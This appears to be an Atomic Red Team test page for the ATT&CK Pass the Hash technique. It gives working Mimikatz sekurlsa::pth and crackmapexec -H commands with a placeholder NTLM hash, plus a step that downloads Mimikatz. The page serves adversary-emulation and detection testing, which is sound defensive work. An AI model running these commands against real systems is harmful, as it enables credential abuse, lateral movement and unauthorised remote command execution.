T1550.002.md

T1550.002 - Pass the Hash

Description from ATT&CK

Adversaries may “pass the hash” using stolen password hashes to move laterally within an environment, bypassing normal system access controls. Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash.

When performing PtH, valid password hashes for the account being used are captured using a Credential Access technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems.

Adversaries may also use stolen password hashes to "overpass the hash." Similar to PtH, this involves using a password hash to authenticate as a user but also uses the password hash to create a valid Kerberos ticket. This ticket can then be used to perform Pass the Ticket attacks.(Citation: Stealthbits Overpass-the-Hash)

Atomic Tests

• Atomic Test #1 - Mimikatz Pass the Hash

• Atomic Test #2 - crackmapexec Pass the Hash

Atomic Test #1 - Mimikatz Pass the Hash

Note: must dump hashes first Reference

Supported Platforms: Windows

Inputs:

Name	Description	Type	Default Value
user_name	username	string	Administrator
ntlm	ntlm hash	string	cc36cf7a8514893efccd3324464tkg1a
domain	domain	string	atomic.local
mimikatz_path	mimikatz windows executable	Path	%tmp%\mimikatz\x64\mimikatz.exe

Attack Commands: Run with command_prompt!

#{mimikatz_path} "sekurlsa::pth /user:#{user_name} /domain:#{domain} /ntlm:#{ntlm}"

Dependencies: Run with powershell!

Description: Mimikatz executor must exist on disk and at specified location (#{mimikatz_path})

Check Prereq Commands:

$mimikatz_path = cmd /c echo #{mimikatz_path}
if (Test-Path $mimikatz_path) {exit 0} else {exit 1} 

Get Prereq Commands:

$mimikatz_path = cmd /c echo #{mimikatz_path}
Invoke-WebRequest "https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20200918-fix/mimikatz_trunk.zip" -OutFile "$env:TEMP\mimikatz.zip"
Expand-Archive $env:TEMP\mimikatz.zip $env:TEMP\mimikatz -Force
New-Item -ItemType Directory (Split-Path $mimikatz_path) -Force | Out-Null
Move-Item $env:TEMP\mimikatz\x64\mimikatz.exe $mimikatz_path -Force

Atomic Test #2 - crackmapexec Pass the Hash

command execute with crackmapexec

Supported Platforms: Windows

Inputs:

Name	Description	Type	Default Value
user_name	username	string	Administrator
crackmapexec_exe	crackmapexec windows executable	Path	C:\CrackMapExecWin\crackmapexec.exe
command	command to execute	string	whoami
ntlm	command	string	cc36cf7a8514893efccd3324464tkg1a
domain	domain	string	atomic.local

Attack Commands: Run with command_prompt!

crackmapexec #{domain} -u #{user_name} -H #{ntlm} -x #{command}

Dependencies: Run with powershell!

Description: CrackMapExec executor must exist on disk at specified location (#{crackmapexec_exe})

Check Prereq Commands:

if(Test-Path #{crackmapexec_exe}) { 0 } else { -1 } 

Get Prereq Commands:

Write-Host Automated installer not implemented yet, please install crackmapexec manually at this location: #{crackmapexec_exe}